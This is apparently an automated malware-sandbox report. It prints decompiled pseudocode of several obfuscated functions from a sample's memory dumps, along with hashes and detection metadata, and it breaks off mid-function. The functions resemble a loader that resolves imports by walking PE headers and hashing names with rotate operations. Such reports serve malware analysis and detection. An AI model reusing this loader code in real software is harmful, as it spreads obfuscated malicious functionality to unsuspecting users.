Instruction Fuzzy Hash: 2E61D330A006059FDB29CE38F88472973A2EF9532CF249979D956C7398E731D9C2CB58

Uniqueness

Uniqueness Score: -1.00%

Function 02593A85, Relevance: 1.3, Strings: 1, Instructions: 92
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E02593A85(void* __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _t71;
				void* _t86;
				void* _t93;
				void* _t96;
				signed int _t100;
				signed int _t101;
				signed int _t102;
				void* _t106;

				_t86 = __ebx;
				_t70 = __eax;
				if(_a4 != 0x904f) {
					_a4 = _a4 + 1;
					_t70 = __eax - 0x426;
				} else {
					_t100 = _t100 ^ _v8;
					_a4 = 0xffffffff;
				}
				_t71 = E02594238(_t70, _t86, _t106,  *((intOrPtr*)(_t86 + 0x418391)));
				_t101 = _t100 & 0x00000000;
				_a4 = _a4 | 0xffffffff;
				 *(_t86 + 0x41864b) = 0xffffffff;
				if(_a4 != 0x6b3d) {
					_a4 = _a4 | _t71;
					_t71 = _t71 & 0x00000000;
					 *(_t86 + 0x41864b) =  *(_t86 + 0x41864b) ^ _t101;
				} else {
					_t93 = _t93 + 0x2ff;
				}
				_t102 = _t101 | 0x0000074b;
				_v8 = _v8 ^ _t71;
				_t72 = _t71 & 0xffffffff;
				if((_t71 & 0xffffffff) == 0xb85f) {
					_v8 = _v8 & 0xffffffff;
				}
				_v8 = 1;
				_v8 = _v8 + _t96;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + 1;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + 1;
				_v8 = _v8 ^ 0x00000000;
				E02593BDB(_t72 & 0x00000000, _t86,  *((intOrPtr*)(_t86 + 0x41851f)));
				_v8 = _v8 ^ 0xffffffff;
				_a4 = _a4 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) | 0xffffffff;
				_a4 = _a4 ^ 0x00000000;
				_a4 = _a4;
				_a4 = _a4 + 1;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) - 1;
				_a4 = _a4 | 0x00000001;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + _t102 - 1 + _t96;
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 + 1;
				_a4 = _a4 ^ 0x00000000;
				return 0xffffffffffffffff;
			}

0x02593a85
0x02593a85
0x02593a97
0x02593aac
0x02593aaf
0x02593a99
0x02593a99
0x02593a9c
0x02593aa3
0x02593ac0
0x02593ac5
0x02593ac8
0x02593acb
0x02593adc
0x02593ae6
0x02593ae9
0x02593aee
0x02593ade
0x02593ade
0x02593ade
0x02593af4
0x02593afa
0x02593afd
0x02593b04
0x02593b0f
0x02593b0f
0x02593b12
0x02593b19
0x02593b22
0x02593b28
0x02593b2e
0x02593b38
0x02593b46
0x02593b59
0x02593b5d
0x02593b60
0x02593b67
0x02593b77
0x02593b7a
0x02593b7d
0x02593b90
0x02593b9c
0x02593ba3
0x02593ba7
0x02593bb9
0x02593bd8

Strings

=k, xrefs: 02593AD5

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: =k
API String ID: 0-4048675473
Opcode ID: 98b9ea89f2378fc8d434ab78da3f182107d417997f6639ce0484e4127911c1e1
Instruction ID: 747afd14ebb5bcca312c1eee902e26e6357ede968548959b947fd567b365ae8d
Opcode Fuzzy Hash: 98b9ea89f2378fc8d434ab78da3f182107d417997f6639ce0484e4127911c1e1
Instruction Fuzzy Hash: 15319272800608FFEF04CE74CA463DE7A71FF00375F24836AAD29991D6C7388B519A54

Uniqueness

Uniqueness Score: -1.00%

Function 025920EE, Relevance: .5, Instructions: 507
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E025920EE(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4, char _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _t278;
				signed int _t282;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				signed int _t289;
				void* _t291;
				signed int _t293;
				signed int _t294;
				signed int _t297;
				signed int _t300;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t310;
				signed int _t318;
				signed int _t324;
				signed int _t337;
				signed int _t339;
				signed int _t341;
				signed int _t346;
				void* _t356;
				signed int _t358;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t371;
				void* _t389;
				signed int _t396;
				signed int _t402;
				void* _t405;
				signed int _t406;
				signed int _t408;
				void* _t409;
				void* _t419;
				signed int _t421;
				void* _t426;
				signed int _t435;
				signed int _t436;
				void* _t443;
				signed int _t450;
				signed int* _t451;

				_t401 = __esi;
				_t366 = __edi;
				_t337 = __edx;
				_t305 = __ecx;
				_t300 = __ebx;
				_push(__ecx);
				 *_t450 =  *_t450 ^ __ecx;
				 *_t450 =  *_t450 | _t435;
				_t436 = _t450;
				_t451 = _t450 + 0xfffffff0;
				if( *(__ebx + 0x418237) == 0) {
					_t278 =  *((intOrPtr*)(__ebx + 0x45d020))();
					 *_t451 = __esi;
					 *(__ebx + 0x418237) = _t278;
					_t401 = 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t451 =  *_t451 + _t366;
				if( *(_t300 + 0x418399) == 0) {
					_t337 = _v28;
					_v28 =  *((intOrPtr*)(_t300 + 0x418607));
					_v32 =  *((intOrPtr*)(_t300 + 0x418163));
					_v20 = 0;
					_v36 = _v36 ^ _v32;
					_v40 =  *((intOrPtr*)(_t300 + 0x4183f0));
					_t401 = _t401;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t401, _v20, _t278, _t337);
					 *(_t300 + 0x418399) =  *(_t300 + 0x418399) & 0x00000000;
					 *(_t300 + 0x418399) =  *(_t300 + 0x418399) | _t366 ^ _v44 | _t278;
					_t366 = _t366;
				}
				_push(_v20);
				_v28 = _t401;
				if( *(_t300 + 0x4184c3) == 0) {
					_push(_t337);
					_t337 = _v32;
					_v32 =  *((intOrPtr*)(_t300 + 0x41862f));
					_push(_t305);
					_v36 =  *((intOrPtr*)(_t300 + 0x4181bf));
					_t305 = _t305;
					_push(_t366);
					_v40 =  *((intOrPtr*)(_t300 + 0x41805f));
					_push(_t278);
					_push(_v40);
					_v44 =  *((intOrPtr*)(_t300 + 0x4180b3));
					_pop(_t396);
					 *_t451 =  *_t451 & 0x00000000;
					 *_t451 =  *_t451 + _t305;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d048))(_t278);
					_v20 = _t396;
					 *(_t300 + 0x4184c3) =  *(_t300 + 0x4184c3) & 0x00000000;
					 *(_t300 + 0x4184c3) =  *(_t300 + 0x4184c3) ^ (_t396 & 0x00000000 | _t278);
					_t366 = _v20;
				}
				_v20 = _t305;
				_t368 = _t366 & 0x00000000 | _t305 ^ _v20 ^ _a4;
				_t308 = _v20;
				if( *(_t300 + 0x4185b3) == 0) {
					_t278 =  *((intOrPtr*)(_t300 + 0x45d01c))();
					 *(_t300 + 0x4185b3) =  *(_t300 + 0x4185b3) & 0x00000000;
					 *(_t300 + 0x4185b3) =  *(_t300 + 0x4185b3) ^ (_t436 & 0x00000000 | _t278);
					_t436 = _t436;
				}
				_t369 = _t368 +  *((intOrPtr*)(_t368 + 0x3c));
				if( *(_t300 + 0x41818f) == 0) {
					_t406 = _v32;
					_v32 =  *((intOrPtr*)(_t300 + 0x41824f));
					_t369 = _v36;
					_v36 =  *((intOrPtr*)(_t300 + 0x4181c7));
					_v40 = _t308;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d03c))(_v20, _t369, _t401);
					_v20 = _t308;
					 *(_t300 + 0x41818f) =  *(_t300 + 0x41818f) & 0x00000000;
					 *(_t300 + 0x41818f) =  *(_t300 + 0x41818f) ^ (_t308 ^ _v20 | _t278);
					_t310 = _v20;
				}
				if( *((intOrPtr*)(_t369 + 0x80)) != 0) {
					_t370 =  *((intOrPtr*)(_t369 + 0x80));
					if( *(_t300 + 0x41832c) == 0) {
						_t278 =  *((intOrPtr*)(_t300 + 0x45d020))();
						_v20 = _t370;
						 *(_t300 + 0x41832c) = _t278;
						_t370 = _v20;
					}
					_t371 = _t370 + _a4;
					if( *(_t300 + 0x41859b) == 0) {
						_t278 =  *((intOrPtr*)(_t300 + 0x45d024))();
						_v20 = _t401;
						 *(_t300 + 0x41859b) =  *(_t300 + 0x41859b) & 0x00000000;
						 *(_t300 + 0x41859b) =  *(_t300 + 0x41859b) ^ _t401 & 0x00000000 ^ _t278;
						_t406 = _v20;
					}
					do {
						if( *_t371 != 0) {
							_v32 = _t278;
							_t402 = 0 ^  *_t371;
							_t278 = 0;
							if( *(_t300 + 0x41816b) == 0) {
								_v32 =  *((intOrPtr*)(_t300 + 0x418487));
								_t337 = _v36;
								_v36 =  *((intOrPtr*)(_t300 + 0x418338));
								_t318 = _v40;
								_v40 =  *((intOrPtr*)(_t300 + 0x4183ec));
								_t278 =  *((intOrPtr*)(_t300 + 0x45d03c))(_t310, _t337, _t278, _t402);
								_v20 = _t318;
								 *(_t300 + 0x41816b) =  *(_t300 + 0x41816b) & 0x00000000;
								 *(_t300 + 0x41816b) =  *(_t300 + 0x41816b) | _t318 ^ _v20 ^ _t278;
								_t310 = _v20;
							}
						} else {
							if( *(_t300 + 0x418420) == 0) {
								_t278 =  *((intOrPtr*)(_t300 + 0x45d024))();
								_v20 = _t310;
								 *(_t300 + 0x418420) = 0 ^ _t278;
								_t310 = _v20;
							}
							_v20 = _t300;
							_t402 = _t406 & 0x00000000 ^ _t300 - _v20 ^  *(_t371 + 0x10);
							_t300 = _v20;
							if( *(_t300 + 0x41812f) == 0) {
								_v32 =  *((intOrPtr*)(_t300 + 0x418033));
								_t291 = _t278;
								_v36 = _v36 & 0x00000000;
								_v36 = _v36 + _t291;
								_v40 =  *((intOrPtr*)(_t300 + 0x41813b));
								_t356 = _t337;
								_t358 = _v44;
								_v44 =  *((intOrPtr*)(_t300 + 0x4182eb));
								_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t356, _t402, _t300, _t278);
								 *(_t300 + 0x41812f) =  *(_t300 + 0x41812f) & 0x00000000;
								 *(_t300 + 0x41812f) =  *(_t300 + 0x41812f) ^ _t358 ^  *_t451 ^ _t278;
								_t337 = _t358;
							}
						}
						_push(_t278);
						_t282 = _v32;
						_v32 =  *(_t371 + 0x10);
						if( *(_t300 + 0x4185cb) == 0) {
							_t282 =  *((intOrPtr*)(_t300 + 0x45d024))();
							_v36 = _t371;
							 *(_t300 + 0x4185cb) = 0 ^ _t282;
							_t371 = 0;
						}
						_pop( *_t173);
						if( *(_t300 + 0x418273) == 0) {
							_t282 =  *((intOrPtr*)(_t300 + 0x45d020))();
							_v32 = _t310;
							 *(_t300 + 0x418273) = _t282;
							_t310 = 0;
						}
						_t284 = _t282 & 0x00000000 | _t402 & 0x00000000 ^ _a4;
						_t405 = _t402;
						if( *(_t300 + 0x418203) == 0) {
							_v32 = _v32 & 0x00000000;
							_v32 = _v32 | _t284;
							_t294 =  *((intOrPtr*)(_t300 + 0x45d020))();
							_v20 = _t371;
							 *(_t300 + 0x418203) = 0 ^ _t294;
							_t371 = _v20;
							_t284 = _t371;
						}
						_v16 = _v16 + _t284;
						if( *(_t300 + 0x4184ef) == 0) {
							_v32 =  *((intOrPtr*)(_t300 + 0x418127));
							_t371 = _v36;
							_v36 =  *((intOrPtr*)(_t300 + 0x4182f7));
							_v40 =  *((intOrPtr*)(_t300 + 0x4185f7));
							_t419 = _t405;
							_t421 = _v44;
							_v44 =  *((intOrPtr*)(_t300 + 0x41827f));
							_t284 =  *((intOrPtr*)(_t300 + 0x45d048))(_t451, _t419, _t405, _t371, _t310);
							 *(_t300 + 0x4184ef) =  *(_t300 + 0x4184ef) & 0x00000000;
							 *(_t300 + 0x4184ef) =  *(_t300 + 0x4184ef) | _t421 ^  *_t451 | _t284;
							_t405 = _t421;
						}
						 *_t200 =  *((intOrPtr*)(_t371 + 0xc));
						_push(_v20);
						_pop(_t309);
						if( *(_t300 + 0x418334) == 0) {
							_v32 = _v32 ^ _t300;
							_v32 = _v32 + _t309;
							_t324 = _v36;
							_v36 =  *((intOrPtr*)(_t300 + 0x41838d));
							_v40 =  *((intOrPtr*)(_t300 + 0x4185af));
							_t371 = _t371;
							_t436 = _v44;
							_v44 =  *((intOrPtr*)(_t300 + 0x418410));
							_t284 =  *((intOrPtr*)(_t300 + 0x45d03c))(_t284, _t309, _t300);
							_v20 = _t324;
							 *(_t300 + 0x418334) =  *(_t300 + 0x418334) & 0x00000000;
							 *(_t300 + 0x418334) =  *(_t300 + 0x418334) ^ (_t324 & 0x00000000 | _t284);
							_t309 = _t436;
						}
						_t310 = _t309 + _a4;
						if( *(_t300 + 0x418474) == 0) {
							_v32 = _v32 & 0x00000000;
							_v32 = _v32 + _t310;
							_t284 =  *((intOrPtr*)(_t300 + 0x45d020))();
							 *(_t300 + 0x418474) =  *(_t300 + 0x418474) & 0x00000000;
							 *(_t300 + 0x418474) =  *(_t300 + 0x418474) | _t337 - _v36 ^ _t284;
							_t337 = _t337;
							_t310 = _t337;
						}
						_t406 = _t405 + _a4;
						if( *(_t300 + 0x418020) == 0) {
							_v32 = _v32 - _t284;
							_v32 = _t310;
							_v36 =  *((intOrPtr*)(_t300 + 0x418493));
							_t337 = _v40;
							_v40 =  *((intOrPtr*)(_t300 + 0x418507));
							_v20 = _v20 & 0x00000000;
							_v44 = _v44 + _t300;
							 *_t451 =  *_t451 & 0x00000000;
							 *_t451 =  *_t451 ^ _t300;
							_t293 =  *((intOrPtr*)(_t300 + 0x45d044))(_v20, _v36, _t337, _t284);
							_v20 = _t371;
							 *(_t300 + 0x418020) =  *(_t300 + 0x418020) & 0x00000000;
							 *(_t300 + 0x418020) =  *(_t300 + 0x418020) | _t371 ^ _v20 | _t293;
							_t371 = _v20;
							_t310 = _t337;
						}
						_v32 = _t310;
						_t285 =  *((intOrPtr*)(_t300 + 0x45d00c))(_v20);
						_v12 = _v12 & 0x00000000;
						_v12 = _v12 ^ (_t300 - _v36 | _t285);
						_t300 = _t300;
						do {
							if(( *_t406 & 0x80000000) != 0) {
								_v36 =  *_t406;
								_t339 = _t337;
								 *_t259 = _t371;
								_v8 = _v8 & 0x0000ffff;
							} else {
								_v20 = 0;
								_push(_v20);
								_v36 = _v36 + _t406;
								_t346 = _t337;
								_v20 = _t346;
								_v8 = _v8 & 0x00000000;
								_v8 = _v8 ^ _t346 ^ _v20 ^  *_t406 + _a4 + 0x00000002;
								_t339 = _v20;
								_pop(_t406);
							}
							_push(_v8);
							_pop( *_t263);
							_push(_v20);
							_pop(_t286);
							_v36 = _v8;
							_t341 = _t339;
							_v20 = _t341;
							_t337 = _v20;
							_v40 = _v40 ^ _t436;
							_v40 = _v40 + (_t286 & 0x00000000 | _t341 & 0x00000000 | _v12);
							_t289 =  *((intOrPtr*)(_t300 + 0x45d008))(_t436, _t371);
							_push(_v20);
							_v44 = _t406;
							_t408 = _t406 & 0x00000000 ^ (_t371 & 0x00000000 | _v16);
							_t371 = _t371;
							_v20 = _t310;
							 *_t408 =  *_t408 & 0x00000000;
							 *_t408 =  *_t408 | _t310 & 0x00000000 ^ _t289;
							_t310 = _v20;
							_pop(_t409);
							_v44 = 4;
							_t278 = _t371;
							_t406 = _t409 + _t278;
							_v16 = _v16 + _t278;
						} while ( *_t406 != 0);
						_t371 =  &_a16;
						_t436 = _t436;
					} while ( *_t371 != 0 ||  *(_t371 + 0x10) != 0);
					_push(_t406);
					return _t278 ^ _t278;
				} else {
					if( *(_t300 + 0x4184e3) == 0) {
						_v32 =  *((intOrPtr*)(_t300 + 0x418253));
						_t436 = _v36;
						_v36 =  *((intOrPtr*)(_t300 + 0x4181ef));
						_v40 =  *((intOrPtr*)(_t300 + 0x41823b));
						_v20 = _v20 & 0x00000000;
						_v44 = _t451 + _v44;
						_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_v20, _t401, _t369, _v32, _t436);
						 *(_t300 + 0x4184e3) =  *(_t300 + 0x4184e3) & 0x00000000;
						 *(_t300 + 0x4184e3) =  *(_t300 + 0x4184e3) | _t308 & 0x00000000 ^ _t278;
						_t308 = _t308;
					}
					_pop(_t426);
					if( *((intOrPtr*)(_t300 + 0x41826f)) == 0) {
						_v28 =  *((intOrPtr*)(_t300 + 0x418587));
						_t443 = _t436;
						_v32 =  *((intOrPtr*)(_t300 + 0x418014));
						_t436 = _t443;
						_t308 = _v40;
						_v40 =  *(_t300 + 0x4182c7);
						_v44 =  *(_t300 + 0x4181ab);
						_t278 =  *((intOrPtr*)(_t300 + 0x45d048))(_t426, _t337, _t308, _t436, _t337, _t426);
						 *_t89 = _t278;
						_push(_v20);
						_pop( *_t91);
					}
					_pop(_t385);
					if( *(_t300 + 0x418593) == 0) {
						_v20 = _v20 & 0x00000000;
						_push(_v20);
						 *_t451 =  *_t451 + _t278;
						_v28 =  *((intOrPtr*)(_t300 + 0x4180a3));
						_push(_t308);
						_push(_v28);
						_v32 =  *(_t300 + 0x4185e7);
						_pop(_t389);
						_v36 =  *(_t300 + 0x4185bb);
						_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t389, _t337);
						_v20 = _t337;
						 *(_t300 + 0x418593) =  *(_t300 + 0x418593) & 0x00000000;
						 *(_t300 + 0x418593) =  *(_t300 + 0x418593) | _t337 & 0x00000000 | _t278;
					}
					if( *(_t300 + 0x4180cb) == 0) {
						_t297 =  *((intOrPtr*)(_t300 + 0x45d024))();
						_v20 = _t308;
						 *(_t300 + 0x4180cb) =  *(_t300 + 0x4180cb) & 0x00000000;
						 *(_t300 + 0x4180cb) =  *(_t300 + 0x4180cb) | _t308 & 0x00000000 ^ _t297;
						return _t297;
					}
					return _t278;
				}
			}

0x025920ee
0x025920ee
0x025920ee
0x025920ee
0x025920ee
0x025920ee
0x025920ef
0x025920f2
0x025920f5
0x025920f7
0x02592101
0x02592103
0x0259210b
0x02592112
0x02592118
0x02592118
0x02592119
0x0259211d
0x02592120
0x0259212a
0x02592133
0x02592133
0x0259213d
0x02592140
0x0259214a
0x02592155
0x02592159
0x0259215a
0x02592166
0x0259216d
0x02592173
0x02592173
0x02592174
0x02592177
0x02592181
0x02592183
0x0259218a
0x0259218a
0x0259218d
0x02592195
0x02592199
0x0259219a
0x025921a1
0x025921a4
0x025921a5
0x025921ac
0x025921b0
0x025921b2
0x025921b6
0x025921b9
0x025921bf
0x025921c7
0x025921ce
0x025921d4
0x025921d4
0x025921d7
0x025921e3
0x025921e5
0x025921ef
0x025921f1
0x025921fd
0x02592204
0x0259220a
0x0259220a
0x0259220b
0x02592215
0x0259221e
0x0259221e
0x02592228
0x02592228
0x0259222e
0x02592231
0x02592237
0x0259223f
0x02592246
0x0259224c
0x0259224c
0x02592256
0x025923a1
0x025923ae
0x025923b0
0x025923b6
0x025923bd
0x025923c3
0x025923c3
0x025923c6
0x025923d0
0x025923d2
0x025923d8
0x025923e0
0x025923e7
0x025923ed
0x025923ed
0x025923f0
0x025923f3
0x02592498
0x0259249f
0x025924a1
0x025924a9
0x025924b3
0x025924bf
0x025924bf
0x025924c9
0x025924c9
0x025924cc
0x025924d2
0x025924da
0x025924e1
0x025924e7
0x025924e7
0x025923f9
0x02592400
0x02592402
0x02592408
0x0259240f
0x02592415
0x02592415
0x02592418
0x02592424
0x02592426
0x02592430
0x0259243a
0x0259243e
0x02592440
0x02592444
0x0259244f
0x02592453
0x0259245b
0x0259245b
0x0259245e
0x0259246a
0x02592471
0x02592477
0x02592477
0x02592478
0x025924ea
0x025924ee
0x025924ee
0x025924f8
0x025924fa
0x02592502
0x02592509
0x0259250f
0x0259250f
0x02592510
0x0259251a
0x0259251c
0x02592524
0x0259252b
0x02592531
0x02592531
0x0259253c
0x0259253e
0x02592546
0x02592549
0x0259254d
0x02592550
0x02592556
0x0259255d
0x02592563
0x02592566
0x02592566
0x02592567
0x02592571
0x0259257a
0x02592584
0x02592584
0x0259258f
0x02592593
0x0259259b
0x0259259b
0x0259259f
0x025925ab
0x025925b2
0x025925b8
0x025925b8
0x025925bc
0x025925bf
0x025925c2
0x025925ca
0x025925cd
0x025925d0
0x025925da
0x025925da
0x025925e5
0x025925e9
0x025925f1
0x025925f1
0x025925f4
0x025925fa
0x02592602
0x02592609
0x02592612
0x02592612
0x02592613
0x0259261d
0x02592620
0x02592624
0x02592627
0x02592633
0x0259263a
0x02592640
0x02592641
0x02592641
0x02592642
0x0259264c
0x0259264f
0x02592652
0x0259265c
0x02592666
0x02592666
0x02592669
0x02592670
0x02592674
0x02592678
0x0259267b
0x02592681
0x02592689
0x02592690
0x02592696
0x02592699
0x02592699
0x0259269d
0x025926a0
0x025926ac
0x025926b0
0x025926b3
0x025926b4
0x025926ba
0x025926f3
0x025926f7
0x025926f8
0x025926fb
0x025926bc
0x025926bc
0x025926c3
0x025926c6
0x025926d9
0x025926da
0x025926e2
0x025926e6
0x025926e9
0x025926ec
0x025926ec
0x02592702
0x02592705
0x02592708
0x0259270b
0x02592711
0x02592715
0x02592716
0x02592724
0x02592728
0x0259272b
0x0259272e
0x02592734
0x02592737
0x02592744
0x02592746
0x02592747
0x0259274f
0x02592752
0x02592754
0x02592757
0x02592759
0x02592760
0x02592761
0x02592763
0x02592766
0x02592778
0x0259277a
0x0259277b
0x0259278e
0x02592799
0x0259225c
0x02592263
0x0259226c
0x02592276
0x02592276
0x02592281
0x02592286
0x0259228d
0x02592290
0x0259229c
0x025922a3
0x025922a9
0x025922a9
0x025922aa
0x025922b2
0x025922bc
0x025922c0
0x025922c9
0x025922cd
0x025922d6
0x025922d6
0x025922e1
0x025922e6
0x025922ed
0x025922f0
0x025922f3
0x025922f3
0x025922f9
0x02592301
0x02592303
0x02592307
0x0259230a
0x02592314
0x02592317
0x02592318
0x0259231f
0x02592323
0x0259232c
0x02592331
0x02592337
0x0259233f
0x02592346
0x0259234c
0x02592357
0x02592359
0x0259235f
0x02592367
0x0259236e
0x00000000
0x02592374
0x02592377
0x02592377

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190ef29eab26b44226983159a1f394aa4629ad48f98315d79de7dc04f91af78e
Instruction ID: e1612c7970b7a60447403a869183249d1c87dcbc10d5f82f77b84e8575a802b8
Opcode Fuzzy Hash: 190ef29eab26b44226983159a1f394aa4629ad48f98315d79de7dc04f91af78e
Instruction Fuzzy Hash: 36228B32804615EFEF14CF64C9897AABBF5FF88725F09846DDC889B246DB741450CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 02594859, Relevance: .5, Instructions: 466
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E02594859(signed int __ebx, signed int __ecx, void* __edx, signed int __edi, signed int __esi, signed int _a4, signed int _a8) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void* __ebp;
				signed int _t217;
				signed int _t219;
				void* _t220;
				signed int _t221;
				signed int _t225;
				signed int _t230;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t245;
				signed int _t248;
				signed int _t253;
				signed int _t261;
				void* _t264;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				signed int _t272;
				signed int _t274;
				int _t276;
				void* _t278;
				int _t279;
				void* _t310;
				signed int _t312;
				void* _t316;
				signed int _t323;
				signed int _t328;
				signed int _t330;
				void* _t333;
				signed int _t334;
				void* _t339;
				void* _t344;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				void* _t365;
				void* _t366;
				void* _t368;
				void* _t369;
				void* _t374;
				signed int _t376;
				signed int* _t384;

				_t359 = __esi;
				_t328 = __edi;
				_t310 = __edx;
				_t258 = __ecx;
				_t242 = __ebx;
				if( *(__ebx + 0x41819b) == 0) {
					_t241 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_push(__ecx);
					 *(__ebx + 0x41819b) =  *(__ebx + 0x41819b) & 0x00000000;
					 *(__ebx + 0x41819b) =  *(__ebx + 0x41819b) ^ (__ecx -  *_t384 | _t241);
					_pop(_t258);
				}
				 *_t384 =  *_t384 & 0x00000000;
				 *_t384 =  *_t384 + _t359;
				_v20 = _v20 & 0x00000000;
				 *_t384 =  *_t384 + _t242 + 0x418657;
				_t217 =  *((intOrPtr*)(_t242 + 0x45d018))(_v20, _t258);
				 *(_t242 + 0x418247) =  *(_t242 + 0x418247) & 0x00000000;
				 *(_t242 + 0x418247) =  *(_t242 + 0x418247) | _t258 & 0x00000000 ^ _t217;
				_t261 = _t258;
				_push(_v12);
				 *_t384 = _t328;
				if( *(_t242 + 0x4183d8) == 0) {
					_t240 =  *((intOrPtr*)(_t242 + 0x45d01c))();
					 *(_t242 + 0x4183d8) =  *(_t242 + 0x4183d8) & 0x00000000;
					 *(_t242 + 0x4183d8) =  *(_t242 + 0x4183d8) | _t328 & 0x00000000 ^ _t240;
					_t328 = _t328;
				}
				_t361 = _t359 & 0x00000000 | _t242 & 0x00000000 ^ _a4;
				_t245 = _t242;
				if( *(_t245 + 0x4184bb) == 0) {
					_t310 =  *_t384;
					 *_t384 =  *(_t245 + 0x4180d3);
					_v40 =  *((intOrPtr*)(_t245 + 0x418328));
					_t374 = _t374;
					_v44 = _t310;
					_t239 =  *((intOrPtr*)(_t245 + 0x45d040))(_v20, _t310, _t310);
					_v48 = _t261;
					 *(_t245 + 0x4184bb) = 0 ^ _t239;
					_t261 = 0;
				}
				_t330 = _t328 & 0x00000000 | _t245 & 0x00000000 ^ _a8;
				_t248 = _t245;
				_v20 = 0;
				 *_t384 =  *_t384 ^ _t248 + 0x0041830b;
				_t219 =  *((intOrPtr*)(_t248 + 0x45d018))(_v20);
				 *(_t248 + 0x418167) =  *(_t248 + 0x418167) & 0x00000000;
				 *(_t248 + 0x418167) =  *(_t248 + 0x418167) ^ _t261 ^ _v40 ^ _t219;
				_t264 = _t261;
				_push(_t219);
				_v40 =  *((intOrPtr*)(_t361 + 8));
				_t376 = _t374;
				if( *(_t248 + 0x4184bf) == 0) {
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))();
					 *(_t248 + 0x4184bf) =  *(_t248 + 0x4184bf) & 0x00000000;
					 *(_t248 + 0x4184bf) =  *(_t248 + 0x4184bf) ^ (_t330 ^ _v44 | _t219);
					_t330 = _t330;
				}
				_push(_v20);
				_v44 = _t330;
				if( *((intOrPtr*)(_t248 + 0x4180c7)) == 0) {
					_v48 =  *((intOrPtr*)(_t248 + 0x418207));
					_v20 = _v20 & 0x00000000;
					_v52 = _v52 + _t330;
					_v16 = _v16 & 0x00000000;
					_v56 = _v56 | _t219;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d03c))(_v16, _v20, _t264);
					 *_t60 = _t219;
					_push(_v20);
					_pop( *_t62);
				}
				 *_t64 =  *((intOrPtr*)(_t248 + 0x41823f));
				_push(_v12);
				_pop(_t265);
				if( *(_t248 + 0x418287) == 0) {
					_v16 = 0;
					_v48 = _v48 ^ _t265;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))(_v16);
					 *(_t248 + 0x418287) =  *(_t248 + 0x418287) & 0x00000000;
					 *(_t248 + 0x418287) =  *(_t248 + 0x418287) | _t265 & 0x00000000 | _t219;
					_t265 = _t265;
				}
				_t266 = _t265 + 0xfffffff0;
				_t333 = _t330;
				if( *(_t248 + 0x4182ef) == 0) {
					_v48 = _t266;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))(_v16);
					_v52 = _t376;
					 *(_t248 + 0x4182ef) = _t219;
					_t376 = 0;
					_pop(_t266);
				}
				_v20 = 0;
				_push(_v20);
				_v48 = _v48 | _t266;
				if( *(_t248 + 0x4184e7) == 0) {
					_v16 = 0;
					_v52 = _v52 | _t266;
					_v56 =  *((intOrPtr*)(_t248 + 0x418283));
					_v12 = 0;
					_v60 = _v60 ^ _t248;
					_v64 =  *((intOrPtr*)(_t248 + 0x41828f));
					_t238 =  *((intOrPtr*)(_t248 + 0x45d03c))(_t310, _v12, _t219, _v16);
					_v16 = _t266;
					 *(_t248 + 0x4184e7) =  *(_t248 + 0x4184e7) & 0x00000000;
					 *(_t248 + 0x4184e7) =  *(_t248 + 0x4184e7) ^ _t266 & 0x00000000 ^ _t238;
					_t266 = _t333;
				}
				do {
					asm("movsb");
					_t266 = _t266 - 1;
				} while (_t266 != 0);
				_pop(_t267);
				_pop(_t334);
				 *_t96 = _t334;
				_push(_v16);
				_pop(_t363);
				_v16 = 0;
				_push(_v16);
				_v44 = _v44 ^ _t248;
				do {
					_t220 =  *_t363 & 0x000000ff;
					_t363 = _t363 + 1;
					if(_t220 == 0) {
						goto L23;
					}
					_push(_t220);
					_v48 = _v48 - _t220;
					_v48 = _v48 ^ _t267;
					_push(_t248);
					_v52 = 1;
					_v12 = 0;
					_t310 = _t310 & 0x00000000 | 0 ^ _t363;
					_v8 = 8;
					do {
						asm("rol eax, cl");
						_t248 = _t220;
						_t220 = _t310;
						asm("ror ebx, cl");
